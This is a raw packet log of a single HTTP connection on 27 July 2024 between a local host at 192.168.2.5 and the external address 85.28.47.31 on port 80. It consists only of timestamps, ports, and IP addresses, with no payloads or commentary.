Jul 27, 2024 09:25:08.406697035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.406749964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.406788111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.406874895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.406920910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407218933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407274008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407306910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407334089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407370090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407371998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407407045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407438993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407454014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407471895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407488108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407514095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407516956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407550097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407557011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407583952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407597065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407618046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407629013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407665014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407668114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407700062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407702923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407732010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407736063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407779932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407798052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407831907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407840967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407866001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407879114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407897949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407915115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407932997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407942057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407965899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.407978058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.407999039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408027887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408034086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408039093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408066988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408077002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408101082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408112049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408145905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408222914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408271074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408272982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408304930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408320904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408337116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408349037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408370018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408384085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408402920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408416986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408436060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408447981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408468008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408500910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408509970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408535004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408571005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408603907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408610106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408653021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408657074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408689022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408700943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408735991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408740044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408772945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408782959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408803940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408823967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408834934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408847094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408866882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408879995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408900023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408910036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408931971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408946037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408963919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.408977985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.408996105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409008980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409029007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409035921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409077883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409107924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409141064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409152985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409173965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409187078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409207106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409219980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409240007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409254074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409272909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409285069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409306049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409318924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409338951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409351110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409372091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409383059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409403086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409415960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409449100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409451962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409482956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409495115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409514904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409528017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409548044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409562111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409580946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409595966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409614086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.409626961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.409658909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.489739895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.489819050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.489872932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.489902973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.489907026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.489943981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.489945889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.489963055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.489989042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.489995003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490030050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490037918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490062952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490073919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490097046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490103006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490138054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490145922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490181923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490195990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490215063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490223885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490256071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490264893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490298033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490307093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490329981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490340948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490360022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490370035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490392923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490391970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490432978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490444899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490478992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490488052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490511894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490516901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490550041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490552902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490582943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490586042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490611076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490624905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490643978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490654945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490679026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490690947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490711927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490725040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490745068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490747929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490777016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490787983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490828991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490842104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490861893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490868092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490896940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490907907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490927935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490941048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490961075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.490971088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.490992069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491004944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491024971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491034985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491058111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491069078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491091013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491095066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491120100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491137981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491153002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491154909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491184950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491195917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491219044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491225958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491251945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491281986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491286039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491288900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491318941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491328955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491353035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491355896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491385937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491393089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491417885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491425037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491451979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491460085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491483927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491491079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491518021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491527081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491549969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491559029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491585016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491589069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491616011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491626024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491648912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.491657972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.491693974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.499625921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499677896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499712944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499742985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.499746084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499779940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499783993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.499804974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.499811888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499821901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.499845982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.499850988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.499887943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500107050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500147104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500159979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500194073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500202894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500236988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500245094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500277996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500279903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500310898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500324011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500344038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500355005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500379086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500426054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500458956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500468016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500503063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500524998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500560045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500597000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500611067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500647068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500655890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500680923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500693083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500715971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500725985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500751019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500755072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500793934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500801086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500837088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500845909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500868082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500879049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500901937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500909090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500942945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.500942945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500978947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.500988007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501018047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501055956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501094103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501101017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501127005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501138926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501157999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501163006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501190901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501223087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501224041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501230001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501256943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501264095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501287937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501318932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501328945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501338959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501373053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501374960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501405954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501415014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501440048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501447916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501471996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501482964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501504898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501519918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501538038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501548052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501573086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501580000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501606941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501615047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501646042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501653910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501679897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501688004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501713991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501717091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501746893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501758099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501780987 CEST	80	49704	85.28.47.31	192.168.2.5
